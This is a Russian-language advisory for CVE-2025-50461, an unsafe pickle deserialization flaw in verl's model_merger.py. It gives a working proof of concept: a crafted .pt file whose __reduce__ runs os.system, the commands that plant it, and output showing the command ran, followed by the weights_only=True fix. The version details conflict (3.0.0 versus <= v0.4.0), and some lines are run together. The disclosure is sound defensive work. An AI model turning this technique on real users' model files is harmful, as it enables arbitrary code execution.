
Technical Details and Exploit for CVE-2025-50461
Статус: RESERVED
Этот идентификатор CVE назначен, но еще не опубликован в официальном списке CVE.Уязвимость десериализации существует в volcengine's verl 3.0.0, конкретно в скрипте scripts/model_merger.py при использовании бэкенда "fsdp". Скрипт вызывает torch.load() с weights_only=False для пользовательских .pt файлов, что позволяет злоумышленникам выполнять произвольный код при загрузке специально созданного файла модели. Злоумышленник может воспользоваться этим, убедив жертву загрузить и разместить вредоносный файл модели в локальной директории с определенным шаблоном имени файла. Эта уязвимость может привести к выполнению произвольного кода с привилегиями пользователя, запускающего скрипт.
scripts/model_merger.pymalicious.pt)import pickle
import os
class Malicious:
def __reduce__(self):
return (os.system, ("mkdir HACKED!",))
with open("malicious.pt", "wb") as f:
pickle.dump(Malicious(), f)
mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/
python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
convert_fsdp_checkpoints_to_hfmodels()
File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
return _legacy_load(
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!' Notice.txt TESTS docker examples outputs pyproject.toml requirements.txt scripts test_prime.sh tmp verl.egg-info
LICENSE README.md data docs patches recipe requirements_sglang.txt setup.py tests verl verl_demo.log
Команда mkdir HACKED! выполняется в системе жертвы.
weights_only=True, снижая риски десериализации.weights_only=True при вызове torch.load.state_dict = torch.load(path, map_location="cpu", weights_only=True)
| Поле | Значение |
|---|
| CVE ID | CVE-2025-50461 |
| Оценка CVSS | TBD |
| CWE | CWE-502: Десериализация ненадежных данных |
| Дата отчета | 2025-04-30 |
| Дата раскрытия | 2025-08-15 |
| Затронутая версия | <= v0.4.0 |
| Версия исправления |